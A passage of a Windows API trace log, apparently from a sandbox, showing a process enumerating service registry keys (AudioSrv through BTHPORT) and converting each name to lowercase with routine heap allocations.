lpName="AudioEndpointBuilder") returned 0x0 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.116] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.116] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.117] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.117] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.117] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0236.117] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.117] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.118] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0236.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0236.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.118] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0236.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0236.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.118] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0236.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0236.118] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.118] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.118] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.119] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.119] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.119] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.119] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.120] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.120] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.120] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0236.120] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.120] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.121] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.121] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.121] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0236.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.122] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0236.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 